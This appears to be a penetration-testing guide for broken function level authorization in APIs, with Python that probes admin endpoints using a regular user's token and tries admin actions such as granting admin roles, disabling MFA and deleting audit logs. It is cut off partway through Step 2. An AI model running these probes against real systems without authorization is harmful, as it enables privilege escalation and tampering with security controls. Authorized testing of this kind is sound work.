exploiting-broken-function-level-authorization

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# Exploiting Broken Function Level Authorization

## When to Use

- Testing whether regular users can access administrative API endpoints by direct URL access
- Assessing APIs for vertical privilege escalation where users can invoke functions above their role
- Evaluating if API gateways and middleware consistently enforce function-level access controls
- Testing role-based access control (RBAC) implementation across all API endpoints and HTTP methods
- Validating that API documentation does not expose admin endpoint paths that lack authorization

**Do not use** without written authorization. BFLA testing involves attempting to execute administrative functions with unauthorized credentials.

## Prerequisites

- Written authorization specifying target API and administrative functions in scope
- Test accounts at multiple privilege levels: regular user, moderator, admin, super-admin
- API documentation (OpenAPI/Swagger spec) that may list admin endpoints
- Burp Suite Professional for request interception and manipulation
- Python 3.10+ with `requests` library
- Knowledge of common admin endpoint naming conventions

## Workflow

### Step 1: Administrative Endpoint Discovery

```python
import requests
import itertools

BASE_URL = "https://target-api.example.com"
regular_user_headers = {"Authorization": "Bearer <regular_user_token>"}
admin_headers = {"Authorization": "Bearer <admin_token>"}

# Common admin endpoint patterns
ADMIN_PATH_PATTERNS = [
    "/api/v1/admin",
    "/api/v1/admin/users",
    "/api/v1/admin/settings",
    "/api/v1/admin/config",
    "/api/v1/admin/logs",
    "/api/v1/admin/dashboard",
    "/api/v1/admin/reports",
    "/api/v1/admin/billing",
    "/api/v1/manage",
    "/api/v1/management",
    "/api/v1/internal",
    "/api/v1/internal/users",
    "/api/v1/system",
    "/api/v1/system/health",
    "/api/v1/console",
    "/api/v1/users/admin",
    "/api/v1/roles",
    "/api/v1/permissions",
    "/api/v1/audit",
    "/api/v1/audit/logs",
    "/api/internal/",
    "/admin/api/",
    "/management/api/",
    "/backoffice/api/",
]

# Administrative function patterns (POST/PUT/DELETE operations)
ADMIN_FUNCTIONS = [
    ("POST", "/api/v1/users", {"role": "admin"}),             # Create user with admin role
    ("PUT", "/api/v1/users/1/role", {"role": "admin"}),        # Change user role
    ("DELETE", "/api/v1/users/1002", None),                     # Delete another user
    ("POST", "/api/v1/settings", {"maintenance": True}),       # Modify system settings
    ("GET", "/api/v1/users?role=admin", None),                  # List admin users
    ("POST", "/api/v1/export/users", None),                     # Export user data
    ("POST", "/api/v1/users/1002/disable", None),               # Disable user account
    ("POST", "/api/v1/users/1002/reset-password", None),        # Force password reset
    ("PUT", "/api/v1/config/security", {"mfa_required": False}),# Disable security
    ("DELETE", "/api/v1/audit/logs", None),                     # Delete audit logs
]

# Phase 1: Discover accessible admin endpoints
print("Phase 1: Admin Endpoint Discovery")
for path in ADMIN_PATH_PATTERNS:
    for method in ["GET", "POST", "PUT", "DELETE", "PATCH"]:
        try:
            resp = requests.request(method, f"{BASE_URL}{path}",
                                  headers=regular_user_headers, timeout=5)
            if resp.status_code not in (401, 403, 404, 405):
                print(f"  [ACCESSIBLE] {method} {path} -> {resp.status_code}")
        except requests.exceptions.RequestException:
            pass
```

### Step 2: Role-Based Function Testing

```python
# Define roles and their expected access levels
ROLES = {
    "unauthenticated": {},
    "regular_user": {"Authorization": "Bearer <regular_token>"},
    "moderator": {"Authorization": "Bearer <moderator_token>"},
    "admin": {"Authorization": "Bearer <admin_token>"},
}

# Endpoints with expected minimum role requirement
ROLE_MATRIX = [
    # (method, endpoint, body, minimum_role)
    ("GET", "/api/v1/users/me", None, "regular_user"),
    ("GET", "/api/v1/users", None, "admin"),
    ("POST", "/api/v1/users", {"email":"x@y.com","name":"X","role":"user"}, "admin"),
    ("DELETE", "/api/v1/users/1002", None, "admin"),
    ("GET", "/api/v1/admin/settings", None, "admin"),
    ("PUT", "/api/v1/admin/settings", {"feature_flag": True}, "admin"),
    ("GET", "/api/v1/reports/financial", None, "admin"),
    ("POST", "/api/v1/users/1002/ban", None, "moderator"),
    ("GET", "/api/v1/audit/logs", None, "admin"),
    ("POST", "/api/v1/export/database", None, "admin"),
    ("PUT", "/api/v1/users/1002/role", {"role": "admin"}, "admin"),
]

ROLE_HIERARCHY = ["unauthenticated", "regular_user", "moderator", "admin"]

results = []
for method, endpoint, body, min_role in ROLE_MATRIX:
    min_index = ROLE_HIERARCHY.index(min_role)

From 2003gdb/My-Claude-Workflows, Apache-2.0.

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